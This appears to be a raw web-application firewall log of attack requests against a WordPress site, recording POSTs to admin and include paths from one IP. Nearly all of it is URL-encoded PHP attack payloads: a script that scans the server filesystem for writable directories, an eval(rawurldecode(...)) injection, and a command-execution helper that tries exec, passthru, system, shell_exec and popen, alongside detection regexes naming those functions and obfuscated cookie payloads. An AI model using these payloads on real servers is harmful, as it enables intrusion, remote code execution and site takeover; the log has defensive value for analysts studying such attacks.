0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept:*\/*\n\nDk=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 16:21:07","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> AY:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-encoding:gzip,deflate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDIxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4400\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\n\nAY=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 16:21:16","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\ncontent-length:4423\nhost:dewenlabels.com\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 16:21:21","213.209.159.254","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dR:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27phd_buttons%27%2C%27adodb.config%27%2C%27udb_base.inc%27%2C%27category_item%27%2C%27pur_detail%27%2C%27jpgraph_log%27%2C%27incfacebook%27%2C%27admin.k2%27%2C%27ImageEditor%27%2C%27show_info_%27%2C%27interface%27%2C%27suggestcategory%27%2C%27dejavusans%27%2C%27view.feed%27%2C%27federazione%27%2C%27minibrowser%27%2C%27mcp_report%27%2C%27controls.inc%27%2C%27reading_nrm%27%2C%27server_export%27%2C%27auctionoffers%27%2C%27Printing.module%27%2C%27display_tbl.lib%27%2C%27URIFilter%27%2C%27italian.lng%27%2C%27default_elements%27%2C%27busca_arqs%27%2C%27shortcodes%27%2C%27account_details%27%2C%27blocksadmin%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMSVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-length:3324\nhost:dewenlabels.com\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\n\ndR=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27phd_buttons%27%2C%27adodb.config%27%2C%27udb_base.inc%27%2C%27category_item%27%2C%27pur_detail%27%2C%27jpgraph_log%27%2C%27incfacebook%27%2C%27admin.k2%27%2C%27ImageEditor%27%2C%27show_info_%27%2C%27interface%27%2C%27suggestcategory%27%2C%27dejavusans%27%2C%27view.feed%27%2C%27federazione%27%2C%27minibrowser%27%2C%27mcp_report%27%2C%27controls.inc%27%2C%27reading_nrm%27%2C%27server_export%27%2C%27auctionoffers%27%2C%27Printing.module%27%2C%27display_tbl.lib%27%2C%27URIFilter%27%2C%27italian.lng%27%2C%27default_elements%27%2C%27busca_arqs%27%2C%27shortcodes%27%2C%27account_details%27%2C%27blocksadmin%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
